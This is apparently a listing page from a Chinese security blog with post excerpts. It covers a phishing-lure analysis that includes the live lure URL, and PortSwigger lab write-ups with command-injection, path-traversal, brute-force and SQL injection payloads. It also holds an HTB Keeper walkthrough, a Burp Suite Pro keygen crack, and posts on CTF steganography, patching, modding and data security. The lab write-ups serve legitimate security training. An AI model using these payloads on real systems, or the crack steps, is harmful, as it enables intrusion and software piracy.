Posts

分析一个政务网钓鱼攻击

今天是领导发了一个聊天软件的截图,一个工作人员发起了群聊,开启了全员禁言。群名为“京东购物补贴”,感觉应该是把自己权限能拉群的人都拉了进去。

实际上是他的电脑中毒,被远控,拉群发送钓鱼图片,要求大家扫码

钓鱼图片如下【各位想要复现,必须保证环境安全,别搞得自己被钓了

二维码的url是:https://adobegpt.com/#/teach

钓鱼页面如下

Ctrl + U看看有没有向哪个url提交

html
 1<!doctype html>
 2<html lang="en">
 3  <head>
 4    <meta charset="UTF-8" />
 5    <link rel="icon" type="image/svg+xml" href="/vite.svg" />
 6    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
 7    <title>《2025年个人购物补贴》</title>
 8    <script type="module" crossorigin src="/assets/index-Dqx1ziiL.js"></script>
 9    <link rel="stylesheet" crossorigin href="/assets/index-D8NNqKCG.css">
10  </head>
11  <body>
12    <div id="app"></div>
13  </body>
14</html>

这里发现前端是个module引入,里面的js是混淆的

Yakit打BurpSuite靶场—命令注入篇

; 顺序执行命令,无论前一个命令是否成功。

& 将命令放入后台执行,不阻塞当前 Shell。

&& 前一条命令成功(退出码 0)才执行后续命令。

|| 前一条命令失败(退出码非 0)才执行后续命令。

| 将前一个命令的输出作为后一个命令的输入。

Lab 1

OS command injection, simple case

http
1storeId=1;whoami

http
1storeId=1|whoami

Lab 2

Blind OS command injection with time delays

Yakit打BurpSuite靶场—路径遍历篇

Lab 1

File path traversal, simple case

http
1../../../../../../etc/passwd

Lab 2

File path traversal, traversal sequences blocked with absolute path bypass

http
1/etc/passwd

Lab 3

File path traversal, traversal sequences stripped non-recursively

Yakit打BurpSuite靶场—认证篇

让我们欢迎渗透测试三巨头之一!SRC一方霸主!未授权!

未授权属于认证

认证大多是逻辑漏洞,开发不把认证做好,就会产生许多越权攻击。

Lab 1

Username enumeration via different responses

直接插入临时字典爆破就行,每次靶场预设的用户名都不一样

优先检查用户名,用户名不对就显示Invalid username

用户名对了,密码错了,就显示Incorrect password

所以观察返回长度,长一点的就是密码错了,这也暗示用户名是对的,所以可以中止爆破,将用户名修改好,再单独对密码进行爆破。

当然也可以继续等下去,一直等到刚好用户名与密码都正确。

Lab 2

2FA simple bypass

两步验证形同虚设,账号登录进去就已经给我session了。不过在登录进去多做了一步验证码,此时直接访问my account就行

Lab 3

Password reset broken logic

访问的密码重置链接,链接指向的网页在提交新密码时同时传递了账号密码,此时可以修改账号,达到修改密码的目的

Lab 4

Username enumeration via subtly different responses

匹配器匹配那个<p class=is-warning>Invalid username or password.</p>

有一个不同,没有.,他就是用户名

然后拿用户名跑密码,302就是的

Lab 5

Username enumeration via response timing

动态XFF即可,插入标签{{int::1(1-254)},然后username那里插入{{payload::1(BP_username)}}

这样的话,每个username都对应一个IP,就不会被封禁

Lab 6

Broken brute-force protection, IP block

错的多了就封禁,但是登录正确用户就清除封禁记录

所以爆破思路就是字典里的密码爆破一个,就填写一个正确的用户去清除错误记录,然后再爆破一个密码。以此来把密码字典跑完,所以这个实现有三种方法:

1、制作交替的字典,用户名简单,就俩用户名交替,密码制作也简单,每行内插入一个已知用户的密码。把这两个字典同行匹配爆破即可。注意并发为1

2、热加载,类似于BurpSuite的宏,在每次发包前,发送一次正确用户账号密码的包

注意:包必须替换为你的Cookie,如果你要复制全部请求头进去,有个请求头为sec-ch-ua,他的值有半个括号,导致代码括号闭合有问题,你可以删掉这个括号。

代码如下,我已精简请求包:

go
 1beforeRequest = func(req) { /* beforeRequest将在请求发起之前执行 */
 2    // 发送GET请求,获取响应
 3    rsp, _, err = poc.HTTP(`POST /login HTTP/1.1
 4Host: 0ad3009604a2fcecd419d948003e0059.web-security-academy.net
 5Cookie: session=QmQLegdClZJBN1wKoZaGHK5OlsJOFO3r
 6
 7username=wiener&password=peter`,poc.https(true)) /* 这里可以替换为你需要的请求 */
 8    if err != nil {
 9        return req
10    }
11    return req
12}

3、使用Yakit序列,第一个节点插入密码字典,第二个节点是正确用户的登录包,这俩包的并发都降低到1。每次第一个节点发送了一个密码爆破包,就会触发第二个节点的正确登录包,这样也能交替完成爆破,注意yakit中这俩节点的响应是分开显示的。

SQL注入速查表

此SQL注入速查表包含一些有用语法的示例,您可以使用这些示例执行SQL注入攻击时经常出现的各种任务。

字符串连接

您可以将多个字符串连接在一起以形成单个字符串。

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar'[注意字符串之间的空格]
CONCAT ('foo','bar')

子串

可以从指定的偏移量和指定的长度提取字符串的一部分。注意,偏移索引是从1开始的。下面的每个表达式都将返回字符串ba

Oracle简介SUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

注释

您可以使用注释来截断查询并删除原始查询中跟在输入之后的部分。

Oracle简介--comment
Microsoft--comment/*comment*/
PostgreSQL--comment/*comment*/
MySQL#评论 -- comment[注意双破折号后的空格] /*comment*/

数据库版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息非常有用。

Oracle简介SELECT banner FROM v$versionSELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

数据库内容

可以列出数据库中存在的表以及这些表包含的列。

Oracle简介SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

您可以测试单个布尔条件,如果条件为真,则触发数据库错误。

Yakit打BurpSuite靶场—SQL注入篇

本篇是BurpSuite靶场的第一篇,这里共有18个实验,涉及多种数据库和注入手法。这个做完了,可以去玩一玩SQLi-Labs,量大管饱,但是只有MySQL数据库,并且最后更新已经是11年前了。

在学习SQL注入之前,必须学会SQL语句(菜鸟教程),这里是几个在线的SQL练习网站:

牛客网-SQL篇自学SQL网LeetCode-数据库

Lab 1

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

直接拼接语句,注意特殊字符需要编码,当然全编码也是可以的

sql
1Gifts' or 1=1 --

Lab 2

SQL injection vulnerability allowing login bypass

开发HackYourHeart主题的心路

Hack Your Heart

写这个主题是因为我在Hugo的主题仓库里没有找到喜欢的主题。

因为我是一个黑客脚本小子,我想要更有黑客风格的博客,但是没找到。于是想要自己写一个博客主题。

由于我不会前端,写这个主题十分困难,许多HTML、CSS、JS、F12工具都是我现学的。这个主题也是我边学边写。

特色

没什么特色,都是一些基础功能,你能在其他主题看到相同功能。

许多细节真的非常难搞。搜索功能我很满意,它快速美观。代码块部分结合chroma自定义效果,目录自己写的,各种公式、javascript其中各种冲突,搞得累死我了。

尤其是代码块的表格显示,行号冲突,锚点冲突,又没有复制按钮。其中魔改了一个js,其中许多搞笑的bug,不过都解决了。

i18n还没搞

虽然页面布局有所借鉴,但都是我自己写的代码,代码非常烂,性能也不好,我尽量加上了懒加载和Hugo自身的资源引用语法。性能够我自己用了。

首页参考Hack The Box的Modules页面,色系同HTB

Hugo没有心目中的黑客主题,相近的大概是:https://hackingcapitalism.io/(二开自hello-friend ),新的hello-friend-ng也不太行

其实phithon、远海、y4tacker,风格都不错,他们那个暗黑主题不喜欢。由于我之前使用的hexo-theme-aurora有大量封面图,也舍不得扔掉那么多封面。

其次是3gstudent的,非常不错,但是感觉差了点什么,类似的最好的就是ficurinia,真的漂亮,但我都看那么多了,不如自己搞

主题参考了Fixit、ficurinia等等的实现思路

很早以前我就喜欢HTB风格,漫画图标,酷的配色。黑客浸入感极强。比国内一些CTF、靶场好太多了。国内许多靶场就喜欢搞个普通烂大街的蓝色科技感驾驶舱大屏

现在不是很懂前端,大学学的三剑客貌似没啥用,于是边学边写

主页/Home:

分类/Categories:

标签/Tags:

存档/Archives:

朋友/Friends:

关于/About:

这里就是markdown直接写

文章/Post page:

代码块/Codeblock:

数学公式、注音、emoji/Math、Ruby、Emoji:

图像/Graph:

goat、UML、Pie、git等等

Installation

正常安装就行。最好站点配置文件为准

由于我许多内容都是从本地引用,所以需要额外加入字体等元素,你改成cdn引用就不用引入字体

注意,如果要显示Katex数学公式字体正确渲染,需要把字体文件放在站点目录下的\static\lib\katex\fonts中

因为Katex的文件默认去所在目录引用fonts,但实际上assets里的fonts不会同步输出到public,但是static里的文件可以同步输出到public,所以你需要将fonts以相同的路径放到static里.

比如assets/a/b/c/katex.min.js,你就要把fonts文件夹位置调整为 static/a/b/c/fonts

物理化学公式需要Katex额外引入一些东西,这里不写了

创建带空格或特殊字符文章,用hugo new "posts/测试 3345.md"

我为了让链接更短,使用sulg作为链接。slug生成规则是“标题|时间戳”的md5值取前6位。你嫌重复概率高可以改成8位。可以使用这个脚本为所有文章生成slug:https://github.com/TajangSec/genslug

结语

代码真的很烂,也没什么好分享的。这个主题我能一直用下去,毕竟是自己一点一点写出来的,虽然烂但是喜欢。

CUPS漏洞整改方法

在今年9月份,CUPS被发现有多个严重漏洞!随后各个漏洞扫描设备增加了对CUPS漏洞的检测。

CUPS 是一个用于在类 UNIX 操作系统上管理打印任务的开源打印系统。它允许用户通过网络共享打印机、管理打印队列以及处理打印作业。

由于CUPS几乎是所有类Unix系统上都会安装的程序,所以此次漏洞在国产电脑,Linux的Ubuntu、RedHat中广泛存在。

此漏洞涉及多个组件,影响版本基本是2.1b1(含)以前版本

导致远程代码执行的攻击链是通过串联 CUPS 不同组件中的多个漏洞实现的

整改方法

1、去系统官网获取安全补丁

国产电脑,直接去对应系统的官网去寻找补丁,比如官网的安全中心,安全通知等等页面。系统自带的生态中心,安全中心应用里更新也是可以的。

这里以麒麟系统和统信系统为例

麒麟系统

麒麟系统,可以到“https://www.kylinos.cn/support/loophole/patch.html“搜索“cups”,查看最新安全通告。打开最新的通告,获取最新补丁。

可以按照官网提供的方法进行更新,此方法行不通,再使用方法二

统信系统

统信系统,可以到 “https://src.uniontech.com/#/security_advisory”搜索cups,由于风险大多存在于政务外网终端。所以操作系统那里选择桌面专业版,优先点击最新的那个。获取修补方法

点击进去后,统信会提供便捷的补丁工具,如图

cups_fix_9

选择对应的架构,进行下载适合自己系统的工具包,然后双击运行。即可安装补丁

2、通过命令更新软件包

此方法适用于无法在系统官网找到补丁的情况。这里使用麒麟系统作为演示,包管理工具是apt,Ubuntu与此一样。其他系统使用yum之类,要注意区分。

不会使用上面命令的,按照这个办法来。

在电脑桌面右键,点击打开终端

然后输入dpkg -l|grep cups 可以看到输出了CUPS包列表,后面显示的是版本

如果你的版本属于风险版本,就立即更新,命令如下

shell
1sudo apt update

然后执行

听听你的声音-音频类Misc

题目附件:https://wwaw.lanzoub.com/iXguU27kjmlc

很少见到音频杂项,记录一下

所用工具:

MP3Stego(用于提取mp3音频文件的关键信息):https://github.com/fabienpe/MP3Stego

silenteye(用于LSB音频隐写):https://github.com/TajangSec/silenteye

打开附件,总共有两个音频

part1.wav里是丁真,雪豹!

part2.mp3里是一段音乐

频谱图里没有明显的暗示信息,比如高低频率代表0、1之类

这里使用silenteye提取part1.wav的信息

得到

bash
1++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>++++.<++++++++.---.<<<<.>>>>++++++.------.>+++++.<<<<<.>>>>++++.>------.<<<<<.>>>>-----.+++++.+++++.-------.>>------.<<+.---.>-----.

明显是brainfuck编码,解码后得到

the key is dingzhen

密码是dingzhen

丁真!

使用MP3Stego工具通过获得的密码解密part2.mp3文件

bash
1.\Decode.exe -X -P dingzhen part2.mp3

会在目录内生成一个part2.mp3.txt文件,里面就是flag:flag{Let_us_keep_1t_s1mp!e}

BurpSuite Pro 2023.12.1.2下载与破解

上一次BurpSuite的分享还是在2020年

由于CSDN有防盗链,我自己的博客都无法访问这篇博文的图片了

至于为什么再写一次,是因为我看到群里这张图:

哈哈哈,笑死了

所以我想看看现在BP更新到什么版本了,顺便给各位分享一下

本文用到的所有工具在文末链接里

今日是2024/1/21,BP官网更新到了2023.12.1.2版本,官网所有Professional版本在这个网址可以看到:https://portswigger.net/burp/releases#professional

我们下载Burp Suite Professional JAR版本,校验码如下:

SHA256:7f83dbd23a2bb81f1bfe60302a570cfd32da1b84f5dfd8cdd01374c26e202779

MD5: 3974f60c0bfe3fcad76fe8329625f32c

当然你也可以到我的链接里下载

下载完成后,有 burpsuite_pro_v2023.12.1.2.jarburploader.jar

运行BP需要java环境,我的环境是java 16.0.2,不过这个好像java11也行,我没试过

打开cmd进入到这两个文件所在的文件夹,输入 java -jar burploader.jar

出现

powershell
1错误: 加载主类 com.h3110w0r1d.burploaderkeygen.KeygenForm 时出现 LinkageError
2        java.lang.UnsupportedClassVersionError: com/h3110w0r1d/burploaderkeygen/KeygenForm has been compiled by a more recent version of the Java Runtime (class file version 62.0), this version of the Java Runtime only recognizes class file versions up to 60.0

卧槽,需要class为62的版本,我java 16都不够,那安装java18吧(我不喜欢奇数)

Hack The Box - Keeper

好久没打HTB了,之前不打是因为免费的用完了。今天才知道Starting Point里就是玩的,Machines分区有许多免费靶机用。工作空闲时打一下。

:::warning 我使用Windows系统,在用OpenVPN Connect时无法连接HTB,但是用openvpn内置的openvpn-gui就能成功连接 :::

nmap -sV -sC -vv 10.10.11.227

访问80服务,给了一个跳转链接

点击会访问失败,链接文本说缺少IT支持,那应该就是在hosts文件里把这个域名加进去,如图

刷新DNS,ipconfig /flushdns

然后再访问,不要开代理。即可访问成功

然后弱口令,root/password

在菜单栏的“管理员”:用户:选择里有两个用户

我们是root,那上面这个用户就要仔细研究一下

点进去,发现是丹麦人。在注释里有这样一句话

New user. Initial password set to Welcome2023!

所以我们ssh使用这个用户密码登录靶机

user.txt就是第一个flag

有个RT30000.zip文件,解压后里面有两个文件,分别是KeePassDumpFull.dmppasscodes.kdbx

KeePass 是一款免费的开源密码管理器,可以帮助您安全地管理密码。您可以将所有密码存储在一个数据库中,该数据库由一把主钥匙锁定。因此,你只需记住一个主密钥,就能解锁整个数据库。数据库文件使用目前已知最好、最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

这个系统有个漏洞CVE-2023-32784,KeePass文本框内容输入时,会在其进程内存中创建托管字符串,如果将其内存进行转储,则会导致主密码泄露问题。

而这个dmp格式就是内存转储的保存格式,故KeePassDumpFull.dmp里存在密码泄漏的东西,我使用了这个脚本:https://github.com/CMEPW/keepass-dump-masterkey

因为这个靶机不太好下载github文件,而这个脚本是单文件,方便我直接粘贴到靶机里。

解开后是这样的

Google一下,发现是丹麦的甜点,结合用户是丹麦人,密码大概率就是这个甜点

从上面的解密文档里可以看出,并不是英语,而是丹麦语。但是系统无法显示丹麦语,所以部分字母变成了英文字母。单词首字母小写,单词之间的空格也是密码的一部分(我输错好几次,仔细观察才知道)

密码猜测为:rødgrød med fløde

passcodes.kdbx就是KeePass创建的加密库咯,下载一个KeePass然后打开这个文件,输入密码

双击第一行root的title,或者右键第一行点击Edit Entry,看到下图

这里的密码没有用处,Notes里的文本明显是PuTTY的配置文件,将其复制存为ppk文件,然后通过PuTTY加载此ppk连接终端

使用ppk连接需要进行以下设置:

Connection:Data里Auto-login username里填写root

Connection:SSH:Auth:Credentials里Private key file for authentication加载私钥,就是那个ppk文件

Session里填写IP,然后Open,终端就连上了,也是root用户,直接查看root的flag即可

怪物猎人世界Mod制作——替换模型、音效

太喜欢《怪物猎人:世界》这款游戏了,在冰原更新后,游戏版本趋于稳定。卡普空做一些bug修复后宣布不再更新此游戏,游戏版本稳定在v15.11.01。从此这个游戏长达三年未更新,我玩了八百小时也未发现什么明显BUG,这段时间内mod百花齐放,我也爱上了制作mod,但仍然是个新手。主要还是从网上找模型,然后替换。不算自己制作。目前唯一一个自己制作的是让女朋友配音的太刀音效mod。在2023/10/16,TMD卡普空突然更新了,更新了90MB内容,具体内容是支持了Steam Deck,加入了拉美那边的西班牙语。这次更新导致了版本号变化,以及部分文件的偏移量改变,致使前置文件失效,大部分稳定可用的mod失效(堪比当年冰原更新,世界本体mod团灭)。不过这次更新是小更新,依赖前置文件和反作弊文件的mod失效,其他注入式mod失效。简单的模型替换、音效替换并没有失效。

不过目前这个版本是v15.20,截止到本文撰写时间,仍然有绝大部分mod不可用,N网上大部分mod更新日期还在20年。我的几个mod群里,一些作者已经在积极更新了。好消息是前置作者已经更新了。现在这个版本还有个bug,使用了高清材质包dlc后,部分怪物的图标不见了,reddit上说是卡普空删除了这些资源。tmd卡婊更新支持和语言,你删除图标干啥?就目前版本来说,肯定还会有一个更新,修复这个bug。这个时间做mod教程不是很好,但是对于新手记录来说影响不大。第二个原因是,工作很少玩,桌面和下载文件夹里的mod文件太乱了,需要整理一下,防止以后回顾mod忘记如何制作。同时也帮助一下其他入坑的同好!

**nativePC:**游戏文件夹根目录下有一个nativePC文件夹,没有可以自建一个。这个文件夹是游戏读取资源的文件夹,游戏优先读取这个文件夹,所以安装mod就是将mod文件复制到此文件夹,游戏就会读取mod了。

**Stracker’s Loader:**这个就是前置文件,具体原理和作用请看作者的回答:

mhw的游戏引擎通过“chunk”档案来管理文件,但我猜想这个引擎最初一定有一个debug或测试的功能,从而能直接读取现存的“nativePC”文件夹。这对制作mod很有用,因为它让我们不用每次都新建一个“chunk”。为了防止在线作弊,卡普空在冰原发售时更新了这个功能,限制了能从“nativePC”加载的文件类型,因此只有一些纯粹的外观幻化可以使用。Stracker’s Loader解除了这个限制,再次允许游戏从“nativePC”读取任意类型的文件。它在安装后便能无缝发挥功能,不需要任何另外的软件或文件路径就能让游戏启动时自动运行mod。

我制作这个工具主要是因为方便:尽管通过新建“chunk”可以加载那些非幻化mod,但对mod使用者,尤其是mod作者来说,为了安装、测试mod花费许多额外步骤是很麻烦的。我想为大家将加载mod的步骤流程化,而这个技术是我在研究 Quest Loader时就很熟悉的,于是我动手去做了。

安装mod只需要将mod里的nativePC文件夹复制到游戏根目录即可,此时mod的nativePC会合并到游戏的nativePC,如果mod有冲突,只能自己删掉对应文件后重新安装。建议使用狩技mod盒子,可以直接安装mod压缩包,安装后也可以决定启不启用,并且支持修改被替换模型

我用到的所有工具、表格、文件全在这个链接:

https://wwaw.lanzouj.com/b02r8wv5g 密码:3yw7

由于阿里云盘不支持分享压缩包、exe等格式,所以只能用蓝奏云

一、替换模型

替换游戏资源类mod的原理是一样的,就是把资源名字或者编号换了。举个简单的例子:音乐文件夹里有一首《我心永恒》,每当杰克抱露丝就会自动播放这首歌。那我把《两只老虎》这首歌重命名为《我心永恒》替换原来的音乐,此后每当杰克抱露丝就会播放《两只老虎》的音乐。当然怪猎mod不需要重命名后放入资源文件夹将原音乐挤掉,只需要放到nativePC里,游戏就会优先读取这个资源。对了,游戏资源是bin文件,要解包封包才能替换。而有了前置文件就方便多了。

模型的替换就是将模型文件夹及其子文件都重命名为被替换的模型编号

部分武器共用一个模型,所以你替换某个武器后会发现有的武器模型也被换掉了

(一)武器模型

武器模型分为独立模型和组合模型

在聚魔之地解锁武器自定义强化后,武器也有幻化了,可以决定一些零件,比如骨刀刀柄那里的装饰可以换成飞雷龙的装饰。

这种由主模型+零件的模型就叫组合模型

有一些武器不能幻化,只有主模型,所以就是独立模型

在数据表中,组合模型由bs_为前缀的文件 + parts文件,这个parts文件夹下就是零件的模型

注意,有些武器未幻化时也是有零件的

数据表有一些标记为组合模型的武器没有parts,但是主模型前缀是bs_,说明这个武器可以幻化零件,但是默认情况下是没有零件的,此时想要替换,按照独立模型步骤替换即可

1. 替换独立模型

这里我使用 “枯荣刀-黑“ 太刀模型做示范,替换灭尽一刀

枯荣刀mod文件构成如下

bash
 1nativePC
 2└── wp
 3    └── swo
 4        ├── krtdtex
 5        │   ├── BML.tex
 6        │   ├── BML2.tex
 7        │   ├── NM.tex
 8        │   └── RMT.tex
 9        └── swo017
10            └── mod
11                ├── saya017.mod3
12                ├── swo017.evwp
13                ├── swo017.mod3
14                └── swo017.mrl3

nativePC就不说了,wp是武器文件夹这里存放各类武器mod,swo是太刀的代号,这里存放的是太刀的mod,krttex就是枯荣刀的模型贴图,tex文件就是贴图文件。swo017文件是存放模型的。swo017对应太刀”行云流水-和光“,所以此时游戏调用模型时,会以为这个文件是行云流水和光,进入游戏后行云流水和光就变成了枯荣刀。

数据安全摸索

如题,本篇博客是蹭数据安全领域的大佬金师傅的一次经验,来源于B站视频:https://www.bilibili.com/video/BV1Qr4y1V7jk

本文记录金师傅的经验之谈,本文有自己的总结与排版

楔子

今天讨论数据安全相关的一些问题,因为数据安全这两年比较热,监管要求巴拉巴拉一大堆,但是怎么落地,实施指南,测评要求根本没有给。也不能说根本没有给,就寥寥无几,因为我们国家这个数据安全法律都属于很滞后的阶段,测评指南,实施指南就是很滞后。现实中比较流氓的一点就是没有人教你怎么做,没有人告诉你怎么做,就是你像监管要求的颗粒度,他就告诉你,我要查你这个,你要搞这个,但是他没有告诉你颗粒度,没有告诉你指标项,但是他要来查你,你必须要有,而且你要做好,这就很操蛋。那你像网安,有等保,然后等保里面有指标项,就是有一个check list,按照那个表,然后根据实际的这个经费,或者对安全的一个重视按需选择,反正只要达标就行。但数据安全现在不是这样的,咱们国家数据安全还是处于一个刚刚起步的一个阶段,然后就是大家都还在黑暗中摸索。我的以下分享就是只是代表我个人经验的一个总结,就是肯定有不全面和错的地方。

今天分享不谈一些宏观的或者说什么政策,因为现在一谈数据安全治理就跟你讲国家多关注啊,合规啊,这块我就是主要想关注一下落地,比较接地气,我们要做哪些事,才能把数据安全治理去做好。当然也是基于实际的一个经验去做的一个分享。主要分了以下几块内容:

1、数据安全治理是什么?

就是这个东西太热了,现在各种厂商,包括一些什么微信公众号这块,天天给你讲数据安全治理,那数据安全治理是个啥?这个我觉得就是大家不要被厂商洗脑,你要是乙方做咨询,做服务,或者说做产品的人,我觉得你首先要清晰的明白什么是数据安全治理,我们要解决哪些需求和痛点。如果你是甲方人员呢,你就要给你的领导说数据安全治理是什么,我们怎么做,不要被那种无良的乙方骗了,我觉得这是它的意义。

2、数据安全治理思路

我们要做哪几件事去把这个事能落下来。

3、风险评估

像数据安全法这块,其实都提到数据安全风险评估

4、案例分享

之前信通院发了个数据安全风险评估白皮书,但那个东西我第一次看我看不懂。就是里面什么数据要素这块看不懂,然后我就拿了一个案例做个分享,这个我看前面有人说了,阿里云那个事儿发生之后,我们这做了一个事件分析,我觉得可以套那个案例去帮助大家看一下什么是基于场景。因为数据安全风险评估他是基于场景的一个思维,就是怎么去基于场景去做一个数据安全风险评估的一个分析

数据安全治理是什么?

什么是数据安全治理,我觉得要想落地,落地去做数据安全,还是前面说的别着急去听厂商的软广或者他们的材料。要耐心分析一下,我们数据安全为什么要做数据安全治理?数据安全我们要干什么?这个是我结合那个合规要求,包括十四五的规划,以及在之前的几个项目案例里面去做的一个总结吧,可能不一定全啊。但我目前对数据安全的认知是这样的,我觉得数据安全主要就是为了解决这五个问题:

数据安全核心目标

1、合规

你像安全的一个目标它很多啊,这两年那个护网,包括那个红蓝对抗这块,就是业界一直在提倡安全应当以实战为目标,这个观点我觉得没毛病,我比较赞同啊,但是万事万物,它不都有发展规律,我们也要遵循事物的一个发展规律,从当前组织的一个角度,就是从当前我们每个人企业角度,还有当前的一个无论是市场角度啊,或者说当前数据全发展阶段来看的话,其实我国的一个安全市场不光是数据啊,网络安全,它也主要是依赖于合规啊。你像态感这一块,也是基于等保2.0之后大家都在推沙箱,都在说0day,都在搞态感。其实这也是合规在推动,尤其是数据安全事件,数据安全这个市场可能更明显。之前那个IDC,它是显示全球数据安全市场70%都是依赖于这个合规推进,包括前不久那个安全盛会,我记得国外数据安全两三个头部厂商,就是在全球出了名的数据安全厂商,就拿了一大笔融资,他们的产品我研究了一下,确实依托于合规。就是你像GDPC还有各种地方的法律,他们的产品模块和思路就是沿着合规去走,所以说我觉得合规与实战其实是二者不矛盾,合规是底线,实战是拔高,然后合规能保证监管部门不罚你,实战保证别人想搞你的门槛很高。然后咱们就不能好高骛远,先在合规的基础上再去准备后面去跑去飞。然后其实我个人觉得就是说数据安全治理怎么怎么样,我觉得就是第一点就合规真的很难啊。你像其实现在咱们国家就部委就那几个,很多部委自己的合规做的一塌糊涂,然后他们还要要求下面各省的机构也要去做,就这个东西就很难。然后我们可以再从另外一个视角去看,这个合规为什么难?你像咱们安全圈,最喜欢搞沙龙,搞这种闭门会,搞这种知识分享大咖论坛,之前咱们网络安全每次搞分享,像IC啊这种大会啊,还有一些企业组织的,其实就来来回回圈内那几个大佬去给你谈安全理念,谈安全产品。但是留心观察一下,现在数据安全搞得很多沙龙和分享,他除了就是安全圈的这帮人,他一般都会邀请一两个律师事务所的律师来。就通过这个我觉得就能看出来,这个合规很难,因为安全厂商如果现阶段就能把合规完全吃透,就不至于需要去找律所的同事来做支撑了。然后因为安全厂商它又是安全的一个主要输出机构,所以说合规真的挺难搞的,这个是数据安全面临的第一个问题

2、有哪些数据?哪些要保护?

数据安全要解决的核心问题就是我要知道我有哪些数据,数据安全拆开就是数据和安全。就我想问一下在座的,大家能不能说出自己单位,自己公司所拥有的数据吗?就是我要问你,你们的数据量级,数据类型,数据用途,数据存储在哪?这种描述信息,我觉得可能很多人说不好。项目里遇到的大家其实都说不出来,大家可能说我有多少个数据库,我有多少个业务系统,或者说我哪些安全设备,这个很清楚。但是我问你数据,你说不出来,包括数据量级这块。所以说要想做数据安全,首先要摸清家底。我要知道我所有的数据都在哪?我有哪些数据?然后对症下药,对症下药之后,给数据划定一个范围和界限。其实这个例子就像,我特别有钱,我可能在北京,上海都有房,然后我有招商银行卡,我有农业银行卡,我有工商银行卡。这些东西都是我的一个资产,我肯定是知道我有哪些资产,而且我要时时刻刻去关注它,我只有知道我有哪些资产,我有几套房,我有几张银行卡,我才能去考虑怎么保护。

然后这里面的话,肯定还有一个做数据安全绕不过去的词,它其实也在这个里面,就是有哪些数据需要被保护。那其实它就等于我们要去对数据做一个分类分级,然后数据分类分级是数据安全最近的一个高频词汇,因为我觉得它高频的原因在于所有合规都在提。它是做数据安全必须做的一个事儿。还有个原因就是它很难,它难的原因就我觉得有三点啊,就是分类分级,它其实是两个问题,一个是分类,一个是分级。

分类它其实是一个业务问题,有人说业务和安全是脱节的,是的,这个是一个痛点。就是从我们来说,我们做安全的,你让我去配合,比如防火墙规则,做一个溯源可能没问题。但是你要问我一些业务的情况,我是肯定说不出来的,因为我不关注业务,甚至说我都不知道这个业务用哪些数据,这个数据是怎么跑的。那你让我去基于这个去给他做分类,我觉得是肯定有问题的。因为分类分级,分类就是个业务问题,但是没办法,这个可能大部分来说都是我们安全人员去做,当然业务人员也得去协助。

第二难就是分级问题,分级它确实是个安全问题啊,但是你看分级它的定性是我们要从影响对象,影响范围、影响程度去定级。这个东西太主观了,而且就特别咬文嚼字,我觉得就对于可能我们做安全,就是技术人员来说,去搞咬文嚼字的事挺难的。然后这就是两个难的原因。

第三个难的原因,我觉得还是技术落地很难,因为你像分类分级,包括落地达标,说白了它这个技术原理,它就是基于对流量进行一个解析,对流量进行一个解析还原,然后我是要去基于内容去对它进行一个检测。就我传了一个word,我这个word里面可能涉及到国家地理数据,涉及到个人隐私数据,我要去识别出来,那这个识别技术呢,就现在比较成熟的可能就是像关键字、数据字典、正则表达式这三种是比较成熟的方式。但是他的这个就是给我的感觉是它的天花板太低了,就举个很简单的例子,我们的手机号是11位纯数字。那可能我的我公司里面的,我的合同编号也是11位纯数字,你通过正则,你怎么去识别这11位数字,它究竟是合同号还是手机号,你这个识别不出来,你没有办法去给他做分类,你也就没有办法去给他做分级。

当然现在也在推,你像NLP,虽然语言处理,包括文件指纹这种方式,当然我们其实也在用这种方式,但是它的一个漏报率,误报率说实话还是比较高的,因为它主要是需要一个模型的准确度。比如说,金融,我随便举个银行,我给阳光保险做,那我要想做我模型的一个准确率,我是不是需要大量的一个数据。但那是银行的一个数据,他给我,他就违反了数据安全法。但他没有办法给我,你要说去脱敏给我,但是肯定也会影响到我模型的一个准确度。包括你像NLP这种东西,它其实是需要一个很长很长时间的一个运营的,你对于客户来说,我希望你给我个盒子,给个箱子,我一插网,一通电我就能干了。所以说这个其实它带来的一个问题就是交付很难,然后还有一种方式是文件指纹,文件指纹这个我们之前研究过,这个落地基本上落不了。因为文件指纹假如说我这个服务器里,我就拿非结构化数据来说,我有1000个文件,我每个文件我去生成一个指纹,就可以理解为MD5哈希,然后我放到我的检测设备里,当我在传输的过程中,我发现匹配到了,那我就认为,这个可能有泄密啊,但是这个就在于你客户得把这个东西给你,你才能去生成规则,这是第一点。第二点的话,我觉得他的绕过是很容易的,你像咱们网络安全什么0day啊,包括什么SQL绕过啊,对吧,什么绕狗啊,绕waf都玩烂了。你要真的让这些人去绕,这个我觉得太简单了,我空几个格对吧。我里面调调字节这块可能都会影响到我的指纹。所以说这个就是落地其实也很难。分类分级,它难就难在这三点。

3、数据有没有风险

